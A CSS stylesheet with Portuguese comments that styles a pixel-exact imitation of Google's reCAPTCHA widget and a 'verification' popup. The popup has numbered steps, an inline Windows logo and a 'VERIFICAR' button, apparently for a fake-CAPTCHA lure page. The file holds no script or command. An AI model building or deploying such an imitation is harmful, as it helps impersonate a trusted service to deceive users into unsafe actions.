* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body, html {
    width: 100%;
    height: 100%;
    overflow: hidden;
    background: #000;
    font-family: 'Roboto', Arial, Helvetica, sans-serif;
}

/* ── Fundo completo (dinâmico via CSS vars) ── */
:root {
    --bg-image: url('background.png');
    --bg-blur: 0px;
    --bg-brightness: 1;
}

.fullscreen-bg {
    position: fixed;
    top: 0;
    left: 0;
    width: 100vw;
    height: 100vh;
    background-image: var(--bg-image);
    background-size: cover;
    background-position: center;
    background-repeat: no-repeat;
    filter: blur(var(--bg-blur)) brightness(var(--bg-brightness));
    z-index: 1;
}

/* ── Centraliza o widget ── */
.captcha-container {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    z-index: 2;
}

/* ══════════════════════════════════════════════════════
   WIDGET reCAPTCHA — Dimensões reais: 304×78
   Fonte: https://developers.google.com/recaptcha
   ══════════════════════════════════════════════════════ */
.captcha-widget {
    display: flex;
    align-items: center;
    justify-content: space-between;
    background: #f9f9f9;
    border: 1px solid #d3d3d3;
    border-radius: 3px;
    box-shadow: 0 0 4px rgba(0,0,0,0.08);
    padding: 0 12px;
    height: 78px;
    width: 304px;
    user-select: none;
    transition: box-shadow 0.3s ease;
}

.captcha-widget:hover {
    box-shadow: 0 1px 6px rgba(0,0,0,0.12);
}

/* Branding footer (linha sutil embaixo como no real) */
.captcha-branding {
    height: 0;
}

/* ── Lado esquerdo: checkbox + label ── */
.captcha-left {
    display: flex;
    align-items: center;
    gap: 12px;
    flex: 1;
    cursor: pointer;
}

/* Checkbox — réplica exata */
.captcha-checkbox {
    width: 28px;
    height: 28px;
    border: 2px solid #c1c1c1;
    border-radius: 2px;
    background: #fff;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
    transition: border-color 0.2s, box-shadow 0.2s;
    position: relative;
}

/* Pulse no checkbox antes do clique */
.captcha-checkbox:not(.loading):not(.verified) {
    animation: pulse 2s infinite;
}

@keyframes pulse {
    0%, 100% { box-shadow: 0 0 0 0 rgba(66, 133, 244, 0.35); }
    50%      { box-shadow: 0 0 0 6px rgba(66, 133, 244, 0); }
}

.captcha-checkbox:hover { border-color: #4285F4; }
.captcha-checkbox.loading { border-color: #4285F4; animation: none; }
.captcha-checkbox.verified { border-color: #00a854; animation: none; }

/* Label */
.captcha-label {
    font-size: 14px;
    color: #000;
    cursor: pointer;
    font-weight: 400;
    letter-spacing: -0.1px;
}

/* ── Spinner (loading) ── */
.spinner {
    display: none;
    width: 18px;
    height: 18px;
    border: 2.5px solid #dbdbdb;
    border-top-color: #4285F4;
    border-radius: 50%;
    animation: spin 0.7s linear infinite;
    position: absolute;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* ── Checkmark (verificado) ── */
.checkmark {
    display: none;
    width: 20px;
    height: 20px;
    position: absolute;
}

.checkmark path {
    stroke-dasharray: 30;
    stroke-dashoffset: 30;
    animation: draw 0.35s ease-out forwards;
}

@keyframes draw {
    to { stroke-dashoffset: 0; }
}

/* ── Lado direito: logo + texto ── */
.captcha-right {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    gap: 1px;
    padding-left: 12px;
    border-left: 1px solid #e0e0e0;
    height: 100%;
    width: 73px;
    flex-shrink: 0;
}

/* Logo — ícone real é 32×32 */
.recaptcha-logo {
    width: 32px;
    height: 32px;
}

/* Texto "reCAPTCHA" */
.recaptcha-text {
    font-size: 10px;
    color: #555;
    font-weight: 400;
    letter-spacing: 0.5px;
    font-family: 'Roboto', Arial, sans-serif;
}

/* Links "Privacidade - Termos" */
.recaptcha-links {
    font-size: 8px;
    color: #888;
    font-family: 'Roboto', Arial, sans-serif;
}

/* ══════════════════════════════════════════════════════
   MODAL — Popup de "verificação"
   ══════════════════════════════════════════════════════ */

/* Backdrop escuro */
.modal-backdrop {
    display: none;
    position: fixed;
    inset: 0;
    background: rgba(0, 0, 0, 0.55);
    z-index: 10;
    align-items: center;
    justify-content: center;
    animation: fadeIn 0.2s ease;
}

.modal-backdrop.active {
    display: flex;
}

@keyframes fadeIn {
    from { opacity: 0; }
    to   { opacity: 1; }
}

/* Modal box */
.modal-box {
    background: #fff;
    border-radius: 4px;
    overflow: hidden;
    box-shadow: 0 8px 32px rgba(0,0,0,0.5);
    animation: popIn 0.25s cubic-bezier(0.175, 0.885, 0.32, 1.275);
    width: 340px;
    font-family: 'Roboto', Arial, sans-serif;
}

@keyframes popIn {
    from { transform: scale(0.85); opacity: 0; }
    to   { transform: scale(1);    opacity: 1; }
}

/* Header azul */
.popup-header {
    background: linear-gradient(135deg, #4285F4, #3367D6);
    padding: 14px 18px;
    display: flex;
    flex-direction: column;
    gap: 2px;
}

.popup-header-small {
    color: rgba(255,255,255,0.8);
    font-size: 12px;
    font-weight: 400;
}

.popup-header-big {
    color: #fff;
    font-size: 21px;
    font-weight: 500;
    line-height: 1.2;
}

/* Corpo */
.popup-body {
    padding: 16px 18px 12px;
    border-bottom: 1px solid #e0e0e0;
}

.popup-intro {
    color: #333;
    font-size: 13px;
    margin-bottom: 10px;
    line-height: 1.5;
}

.popup-steps {
    padding-left: 18px;
    color: #333;
    font-size: 13px;
    display: flex;
    flex-direction: column;
    gap: 6px;
    margin-bottom: 14px;
    line-height: 1.5;
}

.popup-steps strong {
    font-weight: 600;
}

/* Agreement box */
.popup-agreement {
    display: flex;
    align-items: flex-start;
    gap: 8px;
    background: #f8f9fa;
    border: 1px solid #dadce0;
    border-radius: 4px;
    padding: 10px 12px;
    font-size: 12px;
    color: #444;
    line-height: 1.4;
}

.agreement-check {
    flex-shrink: 0;
    margin-top: 0px;
    display: flex;
    align-items: center;
}

/* ── Footer com botão ── */
.popup-footer {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 12px 14px;
    background: #f8f9fa;
    gap: 12px;
}

.popup-footer-left {
    flex: 1;
    min-width: 0;
}

.popup-footer-text {
    font-size: 12px;
    color: #555;
    line-height: 1.5;
}

/* ── Barra de progresso ── */
.progress-container {
    display: none;
    margin-top: 8px;
}

.progress-track {
    width: 100%;
    height: 3px;
    background: #e0e0e0;
    border-radius: 2px;
    overflow: hidden;
}

.progress-bar {
    height: 100%;
    background: linear-gradient(90deg, #4285F4, #3367D6);
    border-radius: 2px;
    width: 0%;
    transition: width 0.5s ease;
}

.progress-text {
    font-size: 10px;
    color: #888;
    display: block;
    margin-top: 4px;
}

/* ── Botão VERIFICAR ── */
.verify-btn {
    background: #4285F4;
    color: #fff;
    border: none;
    border-radius: 4px;
    padding: 10px 20px;
    font-size: 14px;
    font-weight: 500;
    letter-spacing: 0.3px;
    cursor: pointer;
    white-space: nowrap;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    min-width: 110px;
    height: 40px;
    transition: background 0.2s, box-shadow 0.2s;
    flex-shrink: 0;
    font-family: 'Roboto', Arial, sans-serif;
}

.verify-btn:hover {
    background: #3367D6;
    box-shadow: 0 1px 3px rgba(0,0,0,0.2);
}

.verify-btn:active {
    background: #2a56c6;
}

/* Spinner dentro do botão */
.btn-spinner {
    display: none;
    width: 16px;
    height: 16px;
    border: 2.5px solid rgba(255,255,255,0.4);
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin 0.7s linear infinite;
    flex-shrink: 0;
}

/* Windows logo inline */
.win-logo {
    width: 13px;
    height: 13px;
    vertical-align: middle;
    margin: 0 1px;
    display: inline-block;
}

/* ── Responsividade ── */
@media (max-width: 420px) {
    .captcha-widget {
        width: 280px;
        padding: 0 10px;
    }

    .modal-box {
        width: calc(100vw - 32px);
        max-width: 340px;
    }

    .popup-header-big {
        font-size: 18px;
    }

    .popup-steps {
        font-size: 12px;
    }
}

@media (max-width: 320px) {
    .captcha-widget {
        width: 260px;
    }

    .captcha-right {
        display: none;
    }
}
